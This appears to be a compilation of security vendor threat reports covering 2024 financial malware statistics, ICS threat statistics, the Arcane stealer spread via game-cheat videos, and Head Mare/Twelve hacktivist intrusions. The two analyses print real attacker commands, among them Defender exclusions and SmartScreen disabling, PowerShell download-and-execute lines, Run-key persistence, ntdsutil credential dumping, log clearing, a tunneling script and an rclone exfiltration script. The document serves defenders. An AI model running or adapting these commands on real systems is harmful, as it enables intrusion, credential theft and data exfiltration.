Financial malware attack distribution by type (corporate vs consumer), 2022–2023 (download)

Mobile banking malware

The statistics for 2023 provided in this section were retrospectively revised and may not coincide with the data from the previous year’s report.

In 2024, the number of users who encountered mobile banking Trojans grew 3.6 times compared to 2023: from 69,200 to 247,949. As can be seen in the graph below, the malicious activity increased dramatically in the second half of the year.

Number of Android users attacked by banking malware by month, 2022–2023 (download)

The most active Trojan-Banker family in 2024 was Mamont (36.70%). This malware first appeared at the end of 2023 and is distributed mostly in Russia and the CIS. Its distribution schemes are ranging from ages-old “Is that you in the picture?” scams to complex social engineering plots with fake stores and delivery tracking apps.

* Share of unique users who encountered this malware as a percentage of all users of Kaspersky mobile security solutions who encountered banking threats

The Bian.h variant (3.02%) that prevailed in 2023 dropped to eighth place, losing over 20 p.p., and several more new samples entered the ranking: Agent.rj (11.14%) at the second place, UdangaSteal.b (3.17%) and Coper.c (2.84%).

Geography of the attacked mobile users

Same as 2023, Turkey was the number one country targeted by mobile banking malware. The share of users encountering financial threats there grew by 2.7 p.p., reaching 5.68%. Malicious activity also increased in Indonesia (2.71%), India (2.42%), Azerbaijan (0.88%), Uzbekistan (0.63%) and Malaysia (0.29%). In Spain (0.73%), Saudi Arabia (0.63%), South Korea (0.30%) and Italy (0.24%), it decreased.

* Countries and territories with relatively few (under 25,000) Kaspersky mobile security users have been excluded from the rankings.
** Unique users attacked by mobile banking Trojans as a percentage of all Kaspersky mobile security users in the country.

Conclusion

In 2024, financial cyberthreats continued to evolve, with cybercriminals deploying phishing, malware and social engineering techniques to exploit individuals and businesses alike. The rise in cryptocurrency-related scams and mobile financial malware highlights the need for continuous vigilance and proactive cybersecurity measures, including multi-factor authentication, user awareness training and advanced threat detection solutions. As the digital finance landscape expands, staying ahead of emerging threats remains critical.

To protect your devices and finance-related accounts:

• Use multifactor authentication, strong unique passwords and other secure authentication tools.
• Do not follow links in suspicious messages, and double-check web pages before entering your secrets, be it credentials or banking card details.
• Download apps only form trusted sources, such as official app marketplaces.
• Use reliable security solutions capable of detecting and stopping both malware and phishing attacks.

To protect your business:

• Update your software in a timely manner. Pay particular attention to security patches.
• Improve your employees’ security awareness on a regular basis, and encourage safe practices, such as proper account protection.
• Implement robust monitoring and endpoint security.
• Implement strict security policies for users with access to financial assets, such as default deny policies and network segmentation.
• Use threat intelligence services from trusted sources to stay aware of the latest threats and cybercrime trends.

Read More 

Statistics across all threats

In Q4 2024, the percentage of ICS computers on which malicious objects were blocked decreased by 0.1 pp from the previous quarter to 21.9%.

Percentage of ICS computers on which malicious objects were blocked, by quarter, 2022–2024

Compared to Q4 2023, the percentage decreased by 2.8 pp.

The percentage of ICS computers on which malicious objects were blocked during Q4 2024 was highest in October and lowest in November. In fact, the percentage in November 2024 was the lowest of any month in two years.

Percentage of ICS computers on which malicious objects were blocked, Jan 2023–Dec 2024

Region rankings

Regionally, the percentage of ICS computers that blocked malicious objects during the quarter ranged from 10.6% in Northern Europe to 31% in Africa.

Regions ranked by percentage of ICS computers where malicious objects were blocked, Q3 2024

Eight of 13 regions saw their percentages increase from the previous quarter.

Regions and world. Changes in the percentage of attacked ICS computers in Q4 2024

Selected industries

The biometrics sector led the surveyed industries in terms of the percentage of ICS computers on which malicious objects were blocked.

Percentage of ICS computers on which malicious objects were blocked in selected industries

In Q4 2024, the percentage of ICS computers on which malicious objects were blocked decreased across most industries, with the exception of the construction sector.

Changes in the percentage of ICS computers on which malicious objects were blocked in selected industries

Diversity of detected malicious objects

In Q4 2024, Kaspersky’s protection solutions blocked malware from 11,065 different malware families of various categories on industrial automation systems.

Percentage of ICS computers on which the activity of malicious objects from various categories was blocked

Main threat sources

The internet, email clients and removable storage devices remain the primary sources of threats to computers in an organization’s technology infrastructure. Note that the sources of blocked threats cannot be reliably identified in all cases.

In Q4 2024, the percentage of ICS computers on which threats from various sources were blocked decreased for all threat sources described in this report. Moreover, all indicators recorded their lowest values for the observed period.

Percentage of ICS computers on which malicious objects from various sources were blocked

Threat categories

Malicious objects used for initial infection

Malicious objects used for initial infection of ICS computers include dangerous internet resources that are added to denylists, malicious scripts and phishing pages, and malicious documents.

In the fourth quarter of 2024, the percentage of ICS computers on which malicious documents and denylisted internet resources were blocked decreased to 1.71% (by 0.26 pp) and 5.52% (by 1.32 pp), respectively and reached its lowest level since the beginning of 2022.

As noted in the Q3 2024 report, the increase in blocked denylisted internet resources was primarily driven by an increase in the number of newly created domain names and IP addresses used by cybercriminals as command-and-control (C2) infrastructure for distributing malware and phishing attacks.

The decline in the percentage of denylisted internet resources in November–December 2024 was likely influenced not only by proactive threat mitigation measures at various levels – from resource owners and hosting providers to ISPs and law enforcement agencies. Another contributing factor was the tendency of attackers to frequently change domains and IP addresses to evade detection in the initial stages, based on lists of known malicious resources.

In practice, this means that until a malicious web resource is identified and added to a denylist, it may not immediately appear in threat statistics, leading to an apparent decrease in the percentage of ICS computers on which such resources were blocked.

However, in Q4, we also saw a rise in the percentage of the next steps in the attack chain – malicious scripts and phishing pages (7.11%), spyware (4.30%), and ransomware (0.21%).

A significant increase in the percentage of malicious scripts and phishing pages in October was driven by a series of widespread phishing attacks in late summer and early fall 2024, as mentioned in the Q3 2024 report. Threat actors used malicious scripts that executed in the browser, mimicking various windows with CAPTCHA-like interfaces, browser error messages and similar pop-ups to trigger the download of next-stage malware: either the Lumma stealer or the Amadey Trojan.

Next-stage malware

Malicious objects used to initially infect computers deliver next-stage malware – spyware, ransomware, and miners – to victims’ computers. As a rule, the higher the percentage of ICS computers on which the initial infection malware is blocked, the higher the percentage for next-stage malware.

The percentage of ICS computers on which spyware (spy Trojans, backdoors and keyloggers) was blocked increased by 0.39 pp from the previous quarter to 4.30%.

The percentage of ICS computers on which ransomware was blocked increased by a factor of 1.3 compared to the previous quarter, reaching 0.21%, its highest value in two years.

The percentage of ICS computers on which miners in the form of executable files for Windows were blocked decreased by 0.01 pp to 0.70%.

And, the percentage of ICS computers on which web miners were blocked decreased by 0.02 pp to 0.39%, reaching its lowest value in the observed period.

Self-propagating malware

Self-propagating malware (worms and viruses) is a category unto itself. Worms and virus-infected files were originally used for initial infection, but as botnet functionality evolved, they took on next-stage characteristics. To spread across ICS networks, viruses and worms rely on removable media, network folders, infected files including backups, and network attacks on outdated software.

In Q4 2024, the percentage of ICS computers on which worms were blocked increased by 0.07 pp and reached 1,37%. The rate of viruses increased by 0.08 pp to 1.61%.

AutoCAD malware

AutoCAD malware is typically a low-level threat, coming last in the malware category rankings in terms of the percentage of ICS computers on which it was blocked.

In Q4 2024, the percentage of ICS computers on which AutoCAD malware was blocked continued to decrease by losing 0.02 pp and reached 0.38%.

You can find the full Q3 2024 report on the Kaspersky ICS CERT website.

Read More 

At the end of 2024, we discovered a new stealer distributed via YouTube videos promoting game cheats. What’s intriguing about this malware is how much it collects. It grabs account information from VPN and gaming clients, and all kinds of network utilities like ngrok, Playit, Cyberduck, FileZilla and DynDNS. The stealer was named Arcane, not to be confused with the well-known Arcane Stealer V. The malicious actor behind Arcane went on to release a similarly named loader, which supposedly downloads cheats and cracks, but in reality delivers malware to the victim’s device.

Distribution

The campaign in which we discovered the new stealer was already active before Arcane appeared. The original distribution method started with YouTube videos promoting game cheats. The videos were frequently accompanied by a link to an archive and a password to unlock it. Upon unpacking the archive, the user would invariably discover a start.bat batch file in the root folder and the UnRAR.exe utility in one of the subfolders.

Archive root

Contents of the “natives” subfolder

The contents of the batch file were obfuscated. Its only purpose was to download another password-protected archive via PowerShell, and unpack that with UnRAR.exe with the password embedded in the BATCH file as an argument.

Contents of the obfuscated start.bat file

Following that, start.bat would use PowerShell to launch the executable files from the archive. While doing so, it added every drive root folder to SmartScreen filter exceptions. It then reset the EnableWebContentEvaluation and SmartScreenEnabled registry keys via the system console utility reg.exe to disable SmartScreen altogether.

powershell  -Command "Get-PSDrive -PSProvider FileSystem | ForEach-Object {Add-MpPreference -ExclusionPath $_.Root}"
reg  add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t REG_DWORD /d 0 /f
reg  add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t REG_SZ /d "Off" /f
powershell -Command "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/<redacted>')"
powershell  -Command "(New-Object Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/<redacted>/black.rar?rlkey=<redacted>&st=<redacted>&dl=1', 'C:\Users\<redacted>\AppData\Local\Temp\black.rar')"

Key commands run by start.bat

The archive would always contain two executables: a miner and a stealer.

Contents of the downloaded archive

The stealer was a Phemedrone Trojan variant, rebranded by the attackers as “VGS”. They used this name in the logo, which, when generating stealer activity reports, is written to the beginning of the file along with the date and time of the report’s creation.

Phemedrone and VGS logos

Original distribution scheme

Arcane replaces VGS

At the end of 2024, we discovered a new Arcane stealer distributed as part of the same campaign. It is worth noting that a stealer with a similar name has been encountered before: a Trojan named “Arcane Stealer V” was offered on the dark web in 2019, but it shares little with our find. The new stealer takes its name from the ASCII art in the code.

Arcane logo

Arcane succeeded VGS in November. Although much of it was borrowed from other stealers, we could not attribute it to any of the known families.

Arcane gets regular updates, so its code and capabilities change from version to version. We will describe the common functionality present in various modifications and builds. In addition to logins, passwords, credit card data, tokens and other credentials from various Chromium and Gecko-based browsers, Arcane steals configuration files, settings and account information from the following applications:

• VPN clients: OpenVPN, Mullvad, NordVPN, IPVanish, Surfshark, Proton, hidemy.name, PIA, CyberGhost, ExpressVPN
• Network clients and utilities: ngrok, Playit, Cyberduck, FileZilla, DynDNS
• Messaging apps: ICQ, Tox, Skype, Pidgin, Signal, Element, Discord, Telegram, Jabber, Viber
• Email clients: Outlook
• Gaming clients and services: Riot Client, Epic, Steam, Ubisoft Connect (ex-Uplay), Roblox, Battle.net, various Minecraft clients
• Crypto wallets: Zcash, Armory, Bytecoin, Jaxx, Exodus, Ethereum, Electrum, Atomic, Guarda, Coinomi

In addition, the stealer collects all kinds of system information, such as the OS version and installation date, digital key for system activation and license verification, username and computer name, location, information about the CPU, memory, graphics card, drives, network and USB devices, and installed antimalware and browsers. Arcane also takes screenshots of the infected device, obtains lists of running processes and Wi-Fi networks saved in the OS, and retrieves the passwords for those networks.

Arcane’s functionality for stealing data from browsers warrants special attention. Most browsers generate unique keys for encrypting sensitive data they store, such as logins, passwords, cookies, etc. Arcane uses the Data Protection API (DPAPI) to obtain these keys, which is typical of stealers. But Arcane also contains an executable file of the Xaitax utility, which it uses to crack browser keys. To do this, the utility is dropped to disk and launched covertly, and the stealer obtains all the keys it needs from its console output.

The stealer implements an additional method for extracting cookies from Chromium-based browsers through a debug port. The Trojan secretly launches a copy of the browser with the “remote-debugging-port” argument, then connects to the debug port, issues commands to visit several sites, and requests their cookies. The list of resources it visits is provided below.

• https://gmail.com,
• https://drive.google.com,
• https://photos.google.com,
• https://mail.ru,
• https://rambler.ru,
• https://steamcommunity.com,
• https://youtube.com,
• https://avito.ru,
• https://ozon.ru,
• https://twitter.com,
• https://roblox.com,
• https://passport.yandex.ru

ArcanaLoader

Within a few months of discovering the stealer, we noticed a new distribution pattern. Rather than promoting cheats, the threat actors shifted to advertising ArcanaLoader on their YouTube channels. This is a loader with a graphical user interface for downloading and running the most popular cracks, cheats and other similar software. More often than not, the links in the videos led to an executable file that downloaded an archive with ArcanaLoader.

ArcanaLoader

The loader itself included a link to the developers’ Discord server, which featured channels for news, support and links to download new versions.

Discord server invitation

At the same time, one of the Discord channels posted an ad, looking for bloggers to promote ArcanaLoader.

Looking for bloggers to spread the loader

Sadly, the main ArcanaLoader executable contained the aforementioned Arcane stealer.

Victims

All conversations on the Discord server are in Russian, the language used in the news channels and YouTube videos. Apparently, the attackers target a Russian-speaking audience. Our telemetry confirms this assumption: most of the attacked users were in Russia, Belarus and Kazakhstan.

Takeaways

Attackers have been using cheats and cracks as a popular trick to spread all sorts of malware for years, and they’ll probably keep doing so. What’s interesting about this particular campaign is that it illustrates how flexible cybercriminals are, always updating their tools and the methods of distributing them. Besides, the Arcane stealer itself is fascinating because of all the different data it collects and the tricks it uses to extract the information the attackers want. To stay safe from these threats, we suggest being wary of ads for shady software like cheats and cracks, avoiding links from unfamiliar bloggers, and using strong security software to detect and disarm rapidly evolving malware.

Read More 

Introduction

In September 2024, a series of attacks targeted Russian companies, revealing indicators of compromise and tactics associated with two hacktivist groups: Head Mare and Twelve. Our investigation showed that Head Mare relied heavily on tools previously associated with Twelve. Additionally, Head Mare attacks utilized command-and-control (C2) servers exclusively linked to Twelve prior to these incidents. This suggests potential collaboration and joint campaigns between the two groups.

The attackers continue to refine their methods, employing both familiar tools from past Head Mare incidents and new PowerShell-based tools.

This report analyzes the software and techniques observed in recent Head Mare attacks and how these overlap with Twelve’s activities. The focus is on Head Mare’s TTPs and their evolution, with notes on commonalities with Twelve’s TTPs.

Technical details

Head Mare’s toolkit

The attackers used various publicly available tools, including open-source software and leaked proprietary tools, to achieve their goals.

• mimikatz;
• ADRecon;
• secretsdump;
• ProcDump;
• Localtonet;
• revsocks;
• ngrok;
• cloudflared;
• Gost;
• fscan;
• SoftPerfect Network Scanner;
• mRemoteNG;
• PSExec;
• smbexec;
• wmiexec;
• LockBit 3.0;
• Babuk.

Some of these tools were mentioned in our previous report on Head Mare, while others were new to their arsenal.

Notable new tools

Among the tools used by Head Mare were some not previously employed by the hacktivists but seen in attacks by other groups. For instance, they used the CobInt backdoor for remote access to domain controllers, previously observed only in Twelve’s attacks on Russian companies. This is an interesting fact, suggesting that Twelve and Head Mare may be sharing tools.

In addition to CobInt, the attackers used their own PhantomJitter backdoor, installed on servers for remote command execution. This tool appeared in the group’s arsenal in August 2024. We described its modus operandi in a story accessible to the subscribers of our Threat Intelligence reports.

Another new tactic involved a tool for remote command execution on a business automation platform server. Thus, the attackers used both proven and new tools, demonstrating flexibility and adaptability.

Initial Access

While previous Head Mare attacks relied solely on phishing emails with malicious attachments, they now also infiltrate victims’ infrastructure through compromised contractors with access to business automation platforms and RDP connections. This confirms the trend of hacktivists exploiting trusted relationships (T1199  –  Trusted Relationship and T1078  –  Valid Accounts).

The attackers also exploited software vulnerabilities, most commonly CVE-2023-38831 in WinRAR through phishing emails. In one incident, they exploited the Microsoft Exchange server vulnerability CVE-2021-26855 (ProxyLogon). Although patched in 2021, this vulnerability is still exploitable due to organizations using outdated operating systems and software. Our telemetry data revealed domain controllers still running Microsoft Windows Server 2012 R2 Server Standard x64 or, as in the aforementioned incidents, Microsoft Exchange Server 2016 used for email.

The attackers used ProxyLogon to execute a command to download and launch CobInt on the server.

Persistence

The method of establishing persistence has changed. Instead of creating scheduled tasks, the attackers now create new privileged local users on a business automation platform server. They use these accounts to connect to the server via RDP to transfer and execute tools interactively.

They also install traffic tunneling tools like Localtonet for persistent access to the target host. They made Localtonet persistent with the help of Non-Sucking Service Manager (NSSM), which allows running any application as a Windows service, as well as monitoring and restarting it if it fails for some reason. This user-friendly tool is often used legitimately to install and manage programs that cannot function as services. Localtonet and NSSM help the malicious actor to maintain continuous access to the infected host.

Anti-detection techniques

Head Mare continued to use the Masquerading technique (T1655), naming utility executables like standard operating system files. The investigation found files such as:

In one incident, cmd.exe was renamed to log.exe and launched from C:Users[username]log.exe.

Besides renaming files, the attackers also removed services and files they had created and cleared event logs to evade detection. Relevant artifacts were found in the PowerShell command history on attacked machines:

stop-service -name <servicename>
remove-service -name <servicename>
remove-service -name "<servicename>"
sc stop <servicename>
sc delete <servicename>
Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }

The ransomware executable also cleared system logs, as evidenced by a flag in the configuration of the samples that we have analyzed.

Command and Control

After exploiting the business automation platform server, attackers downloaded and installed the PhantomJitter backdoor. In the incidents we observed, the backdoor was downloaded into the victims’ infrastructure from the following URLs:

http[:]//45.87.246[.]34:443/calc.exe
http[:]//185.158.248[.]107:443/calc.exe

The file was saved in the local directory as c.exe. Upon launch, it connected to the C2 server, allowing the operator to execute commands on the compromised host.

In addition to PhantomJitter, the attackers used CobInt, whose payload connected to the following C2 server:

360nvidia[.]com

The domain resolves to the IP address 45.156.27[.]115.

Pivoting

The group expanded its arsenal to achieve their objectives at this stage. To gain remote access to the compromised infrastructure, they used a custom PowerShell script named proxy.ps1 to install and configure cloudflared and Gost.

Gost is a lightweight, powerful proxy utility offering various network routing and traffic hiding capabilities. It supports multiple protocols and can create secure communication channels, bypass blocks, and establish tunnels.

Cloudflared tunnels traffic through the Cloudflare network. It establishes a secure connection to an attacker-controlled Cloudflare server, acting as a proxy for C2 communication. This bypasses network restrictions like NAT (Network Address Translation) and firewall rules that might hinder direct connections between the victim host and attacker servers.

The proxy.ps1 script can also download archives from URLs specified on a command line and extract them to a temporary folder. Below is the help output for the script:

Usage: .proxy.ps1 -r https://<site>.com/archive.zip -p gost_port -t cloudflared_token 

Parameters:
  -l       Extract archive locally.
  -r       Download and extract archive remotely.
  -p       Specify the port for the gost.
  -t       Specify the token for the cloudflared.
  -u       Uninstall gost & cloudflared.
  -h       Show this help message.

The script defines constants for filenames, installing cloudflared and Gost with names mimicking standard Windows services in the C:WindowsSystem32 folder. The script uses the GetTempFileName function to obtain temporary file paths.

$archivePath = "win.zip"
$filesPath = "C:WindowsSystem32"
$cloudflaredPath = Join-Path -Path $filesPath -ChildPath "winuac.exe"
$gostPath = Join-Path -Path $filesPath -ChildPath "winsw.exe"
$winswPath = Join-Path -Path $filesPath -ChildPath "winsws.exe"
$winswxmlPath = Join-Path -Path $filesPath -ChildPath "winsws.xml"
$tempFile = [System.IO.Path]::GetTempFileName()

If the -p flag is specified in the command line, a service for the Gost tool will be installed on the system. The following function is used for this:

function Setup-Gost-Service {
    # Set port
    [xml]$winswxml = Get-Content $winswxmlPath
    $winswxml.service.arguments = $winswxml.service.arguments -replace '42716', $p
    $winswxml.Save($winswxmlPath)
    Write-Host "[*] Port number updated to $port in $winswxmlPath"

    # Service install
    Write-Host "[*] Installing gost as service"
    Start-Process $winswPath -ArgumentList "install" -RedirectStandardOutput $tempFile -NoNewWindow -Wait
    $output = Get-Content $tempFile
    Write-Output $output
    Start-Process $winswPath -ArgumentList "start" -RedirectStandardOutput $tempFile -NoNewWindow -Wait
    $output = Get-Content $tempFile
    Write-Output $output
}

In this code snippet, the script installs the Gost executable file as a service and passes necessary settings to it.

If -t key is passed to the script, it installs and configures cloudflared in the system.

function Setup-Cloudflared-Service {

    # Service install
    Write-Host "[*] Installing cloudflared as service"
    Start-Process $cloudflaredPath -ArgumentList "service install $t" -RedirectStandardError $tempFile -NoNewWindow -Wait
    $output = Get-Content $tempFile
    Write-Output $output
}

In this code snippet, the script installs the cloudflared service and passes settings to it by means of the command line.

In addition to installing and configuring tunneling tools, the script has the ability to remove the artifacts they leave behind. The script can also stop and uninstall the cloudflared and Gost services, if the -u parameter is passed to it when it launches.

if ($u) {
    Write-Host "[*] Uninstalling gost"
    Start-Process sc.exe -ArgumentList "stop winsw" -RedirectStandardOutput $tempFile -NoNewWindow -Wait
    $output = Get-Content $tempFile
    Write-Output $output
    Start-Process $winswPath -ArgumentList "uninstall" -RedirectStandardOutput $tempFile -NoNewWindow -Wait
    $output = Get-Content $tempFile
    Write-Output $output

    Write-Host "[*] Uninstalling cloudflared"
    Start-Process sc.exe -ArgumentList "stop winuac" -RedirectStandardOutput $tempFile -NoNewWindow -Wait
    $output = Get-Content $tempFile
    Write-Output $output
    Start-Process $cloudflaredPath -ArgumentList "service uninstall" -RedirectStandardError $tempFile -NoNewWindow -Wait
    $output = Get-Content $tempFile
    Write-Output $output

    $filePaths = @(
    "C:WindowsSystem32winsws.wrapper.log",
    "C:WindowsSystem32winsws.err.log",
    "C:WindowsSystem32winsws.out.log",
    "C:WindowsSystem32winsws.xml",
    "C:WindowsSystem32winsws.exe",
    "C:WindowsSystem32winsw.exe",
    "C:WindowsSystem32winuac.exe"
    )
    foreach ($filePath in $filePaths) {
    if (Test-Path $filePath) {
        Remove-Item -Path $filePath -Force
        Write-Output "[*] Deleted: $filePath"
    } else {
        Write-Output "[*] File not found: $filePath"
    }
    }
}

After deleting the services, the script deletes executables, configuration files, and logs of the tools.

In one incident, the attackers downloaded cloudflared and Gost from the server 45[.]156[.]21[.]148, which we previously saw in Head Mare attacks. An example download link is:

hxxp://45[.]156[.]21[.]148:8443/winuac.exe

Besides cloudflared and Gost, the attackers used cloud tunnels like ngrok and Localtonet. Localtonet is a reverse proxy server providing internet access to local services. The attackers launched it as a service using NSSM, downloading both tools from the official Localtonet website (localtonet[.]com).

hxxp://localtonet[.]com/nssm-2.24.zip
hxxp://localtonet[.]com/download/localtonet-win-64.zip

After downloading, they extracted the tools and launched them with these parameters:

nssm.exe install Win32_Serv 
localtonet.exe authtoken <token>

These commands allow installing Localtonet as a service and authorizing it with a token for configuration.

Reconnaissance

The attackers used common system reconnaissance tools like quser.exe, tasklist.exe, and netstat.exe on local hosts. They primarily used fscan and SoftPerfect Network Scanner for local network reconnaissance, along with ADRecon, a tool for gathering information from Active Directory. ADRecon is a PowerShell script not previously observed in the group’s arsenal.

The attackers also used ADRecon to study the Active Directory domain, including computers, accounts, groups, and trust relationships between domains. The command history showed various domains passed as arguments to the script:

.ADRecon.ps1 -DomainController <FQDN A>
.ADRecon.ps1 -DomainController <FQDN B>
.ADRecon.ps1 -DomainController <FQDN C>
<..>

Privilege Escalation

The attackers exploited previously compromised accounts of victims and their contractors, and created privileged local accounts, particularly when exploiting the business automation software server. If a user has sufficient permissions to remotely execute commands on the server, this software allows running a child command prompt process, such as cmd.exe, with privileges in the operating system corresponding to the program’s privileges. Since business automation software typically has administrator privileges in the OS, the child process also becomes privileged. The attackers exploited this opportunity: after gaining access to the vulnerable software server, they created a privileged local account on whose behalf they launched a command interpreter.

Command Execution

The attackers launched the Windows command interpreter on the business automation platform server in the target system within a process that executed the following command line:

cmd /c powershell.exe -ep bypass -w hidden -c iex ((New-Object 
Net.WebClient).DownloadString('http://web-telegram[.]uk/vivo.txt')) > $tempv8_B5B0_11.txt

This command downloads and executes the vivo.txt file, which we were unable to obtain. However, based on system events, we suspect that it opened a reverse shell, which the operator used to create two files in the target system.

c:programdatamicrosoftdrivemcdrive.vbs
c:programdatamicrosoftdrivemcdrive.ps1

Then, using reg.exe, the attackers added an autorun entry to execute mcdrive.vbs with the interpreter wscript.exe.

reg  add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /f /v "mcdrivesvc" /t 
REG_EXPAND_SZ /d "wscript.exe "$appdataMicrosoftDrivemcdrive.vbs

The VBS file is an obfuscated Visual Basic script that creates an ActiveX object reference named WScript.Shell and uses its Run() function to execute an obfuscated command line.

A deobfuscated command line snippet follows:

%SystemRoot%System32WindowsPowerShellv1.0powershell.exe -ex bypass -NoLogo -
NonInteractive -NoProfile -w hidden -c iex 
([System.IO.File]::ReadAllText('C:ProgramDataMicrosoftDrivemcdrive.ps1'))

This command reads and executes the C:ProgramDataMicrosoftDrivemcdrive.ps1 file through the PowerShell interpreter. This file is a CobInt loader, previously seen only in Twelve’s arsenal. The mcdrive.ps1 snippet below determines the operating system’s bitness, decrypts, and executes the payload, which initiates a request to a C2 server at 360nvidia[.]com. The image below shows a graph obtained from analysis in the Cloud Sandbox on our Threat Intelligence Portal.

Payload execution analysis graph. The IP address shown on the graph corresponds to the domain 360nvidia.com

Credential Access

The investigation identified tools for obtaining credentials. Besides the publicly available mimikatz utility, the attackers used secretsdump and ProcDump. Secretsdump was found on one victim’s system at the following paths:

[USERNAME]Desktopsecretsdump.exe
[USERNAME]Desktopsecretsdump (1).exe

A new Go-based sample named update.exe was also discovered, enabling the dumping of the ntds.dit file and the SYSTEM/SECURITY registry hive using ntdsutil.exe.

powershell ntdsutil.exe "'ac i ntds'" 'ifm' "'create full temp'" q q

Additionally, manual PowerShell commands were observed for dumping data from these locations.

ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:temp1' q q
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:temp' q q"

While no traces of the first command’s successful execution were found, the results of the second one were located at the following paths:

tempActive Directory
tempregistry
tempActive Directoryntds.dit
tempActive Directoryntds.jfm
tempregistrySECURITY
tempregistrySYSTEM
temp[REDACTED].zip

Lateral Movement

The attackers used RDP to connect to systems, including with privileged accounts. They connected to NAS servers via SSH and used tools like mRemoteNG, smbexec, wmiexec, PAExec, and PsExec for remote host communication.

Data Collection and Exfiltration

Another new tool in Head Mare’s arsenal was a script running wusa.exe. Normally, this file name is used by the legitimate Windows update process. However, the script’s launch parameters indicated that the file was actually the rclone.exe utility. Rclone is an open-source project for copying and synchronizing files between storages of different types, making it convenient for data transfer.

@echo off
setlocal enabledelayedexpansion
set inputFile=C:ProgramData1.txt
for /f "tokens=*" %%A in (%inputFile%) do (
    set hostname=%%A
    start /wait "" C:ProgramDatawusa.exe --config="C:ProgramData1.conf" --sftp-socks-proxy <username>:<password>@64.7.198.109:80 sync "\%%AC$Users" sftpP:/data/<path> -q --ignore-existing --auto-confirm --include "*.doc" --include "*.docx" --include "*Desktop/**" --include "*Documents/**" --include "*Downloads/**" --include "*.pdf" --include "*.xls" --include "*.xlsx" --include "*.zip" --include "*.rar" --include "*.txt" --include "*.pn*" --include "*.ppt" --include "*.pptx" --include "*.jp*" --include "*.eml" --include "*.pst" --multi-thread-streams 12 --transfers 12 --max-age 3y --max-size 1G
)
endlocal

The script starts by taking the file 1.txt as input, which contains a list of hosts. For each host, it runs rclone.exe to transfer files from the device to an SFTP server through a SOCKS proxy. The attackers only exfiltrated files from specific directories or files matching the extension templates specified in the script.

Final goal: file encryption

As in previous attacks, they encrypted data using variants of LockBit 3.0 (for Windows systems) and Babuk (for NAS devices). The investigation found that the LockBit file was initially saved on the victim’s host at the following paths:

• C:Users{username}Desktoplocker.exe;
• С:WindowsSYSVOLIntellocker.exe.

Below is a sample ransom note, with the cybercriminals’ contacts redacted:

Contents of a LockBit ransom note

Connection between Head Mare and Twelve

In addition to the aforementioned TTPs, we attribute these attacks to Head Mare based on the following characteristics:

1. A previously seen IP address:
   • 45.156.21[.]148
2. Malware:
   • PhantomJitter

Further details about these indicators can be found in the private report on the Threat Intelligence Portal: “HeadMare’s new PhantomJitter backdoor dropped in attacks exploiting Microsoft Exchange”.

However, the presence of Twelve’s tools like CobInt suggests collaboration. To test this hypothesis, activity cluster diagrams were created based on the Diamond Model framework. Overlaps – common elements in the tactics of both groups – are highlighted in red, indicating potential coordination.

Analysis of the Head Mare techniques and tools

In the image above, we see for the first time the use of the CobInt malware in Head Mare attacks. Previously, it was present only in the arsenal of the Twelve group, the analysis of which is presented below.

Analysis of the Twelve techniques and tools

Also, the analysis of the two models revealed overlaps in the infrastructure (C2s) of the groups. The following infrastructure elements appearing in Head Mare attacks were also present in a number of incidents related to the activities of the Twelve group.

• 360nvidia[.]com;
• 45.156.27[.]115

In addition, we have identified other similarities in the arsenal of the two groups:

1. File names:
   • proxy.ps1
   • ad_without_dc.ps1
2. Paths:
   • C:WindowsSystem32winsw.exe
   • C:WindowsSystem32winsws.exe
   • C:WindowsSystem32winuac.exe
3. Service names:
   • winsw (Microsoft Windows Update)
   • winuac (Microsoft UAC Service Wrapper)
4. Victims:
   • Manufacture, government, energy

The final intersection points of the Head Mare and Twelve groups are shown in the image below. Given the overlaps in infrastructure, TTPs, CobInt malware, and victim choices, we assume that these groups act together, exchanging access to command-and-control servers and various tools for carrying out attacks.

Overlaps in TTPs, tools, and infrastructure between Head Mare and Twelve

Conclusion

Head Mare is actively expanding its set of techniques and tools. In recent attacks, they gained initial access to the target infrastructure by not only using phishing emails with exploits but also by compromising contractors.

They also use tools previously seen in attacks by other groups, such as Twelve’s CobInt backdoor.

This is not the only similarity between the two groups. In addition to the toolkit, the following were noticed:

• Shared command-and-control servers: 360nvidia[.]com, 45.156.27[.]115
• PowerShell scripts accessing these C2 servers: mcdrive.ps1
• Scripts for tunneling network connections: proxy.ps1

Based on the factors described above, we assume that Head Mare is working with Twelve to launch attacks on state- and privately controlled companies in Russia. We will continue to monitor the activity of the attackers and share up-to-date information about their TTPs. More details about the hacktivists’ activities and their tools, such as PhantomJitter, can be found in the materials available to subscribers of our Threat Intelligence reports.

Indicators of compromise

Please note: the network addresses given in this section were valid at the time of publication but may become outdated in the future.

Hashes:

File paths:
С:WindowsSYSVOLIntellocker.exe
C:ProgramDataMicrosoftDrivemcdrive.ps1
C:ProgramDataMicrosoftDrivemcdrive.vbs
C:ProgramDataproxy.ps1
C:ProgramDatawusa.exe
C:Users{USERNAME}AppDataRoaming1.bat
C:Users{USERNAME}AppDataRoamingMicrosoftWindowsRecentmimikatz.lnk
C:Users{USERNAME}AppDataRoamingproxy.ps1
C:Users{USERNAME}DesktopОбработка.epf
C:Users{USERNAME}Desktopad_without_dc.ps1
C:Users{USERNAME}DesktopADRecon.ps1
C:Users{USERNAME}Desktoph.txt
C:Users{USERNAME}Desktoplocker.exe
C:Users{USERNAME}Desktopmimikatz.exe
C:Users{USERNAME}Desktopmimikatz.log
C:Users{USERNAME}Desktopsecretsdump (1).exe
C:Users{USERNAME}Desktopsecretsdump.exe
C:Users{USERNAME}Downloadsmimikatz-master.zip
C:users{USERNAME}log.exe
C:windowsadfsarupdate.exe
C:windowssystem32inetsrvc.exe
C:windowssystem32inetsrvcalc.exe
C:windowssystem32winsw.exe
C:WindowsSystem32winsws.exe
C:windowssystem32winuac.exe
C:WindowsSYSVOLIntelmimikatz.exe

IP addresses and domain names:
360nvidia[.]com
web-telegram[.]uk
45.156.27[.]115
45.156.21[.]148
185.229.9[.]27
45.87.246[.]34
185.158.248[.]107
64.7.198[.]109

Read More 

